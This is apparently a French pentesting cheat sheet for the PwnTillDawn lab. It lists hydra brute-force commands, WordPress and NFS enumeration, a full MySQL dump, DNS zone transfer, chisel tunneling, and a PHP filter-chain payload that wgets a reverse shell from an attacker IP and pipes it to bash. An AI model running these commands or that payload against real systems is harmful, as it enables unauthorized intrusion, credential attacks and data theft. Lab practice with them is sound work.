Pwntilldawn FULL

Bruteforce Forms

Hydra

hydra -l operator -P wordlist.txt 10.150.150.56 <protocole>

hydra -l admin -P SecLists-master/rockyou.txt 10.150.150.38 -s 30609 -t 20 http-post-form "/jacegisecurity_check:jusername=^USER^&jpassword=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

Enumération

Path

FeroxBuster

feroxbuster -u http://example.com -w wordlist -x php,html,txt -v -o output.txt --filter-status 404

feroxbuster -u url -w ~/Desktop/SecLists-master/Discovery/Web-Content/common.txt --filter-status 404

Dirsearch

PHP Filters

python3 script.py --chain '<?= wget attack_ip/revshell|bash?>'

https://github.com/synacktiv/phpfilterchaingenerator/blob/main/phpfilterchaingenerator.py

Wordpress

Check template et plugins vulnérables

wpscan --url url --enumerate vp,vt

wpscan --url https://www.hackinprovence.fr/ -e u

Enumération users

wpscan --url url --enumerate u

Bruteforce

wpscan --url url_wordpress --passwords wordlist

SMTP

hydra -l operator -P wordlist.txt ipip smtp

NFS

rpcinfo IP

sudo umount 10.150.150.59:/nfsroot

Subtopic

sudo mount -t nfs ip:/remote /local

showmount -e IP

FTP

Login anon à vérif

Mysql

mysqldump -u root -p --all-databases > alldb.sql

mysql -h localhost -u sql_user -p

POP3

hydra -l operator -P wordlist.txt ip pop3

SSH

Connexion si on a la clé privée

ssh -i id_rsa user@ip

Test de se co pour la bannière

DNS

Ajout dans /etc/hosts si besoin

Exemple :
10.150.150.57 rickscontrolpanel.mortysserver.com

! AXFR !

dig @mortysserver.com mortysserver.com axfr

sudo nmap -sF -p1-100 -T4

Nmap Automator

nmap -sV -sC -T5 -p- ip

Subtopic

Verifier ce qui écoute sur localhost

netstat -antup

Tunneling & Port Forwarding

Web en écoute sur localhost

Sur l'host

chisel server -port 7777 --reverse

Sur la victime

./chisel client ip_host:7777 R:8080:127.0.0.1:8080

Ne pas oublier d'adapter le port 8080 selon les situations

Si on a un acces SSH

sshuttle -r user@ip -N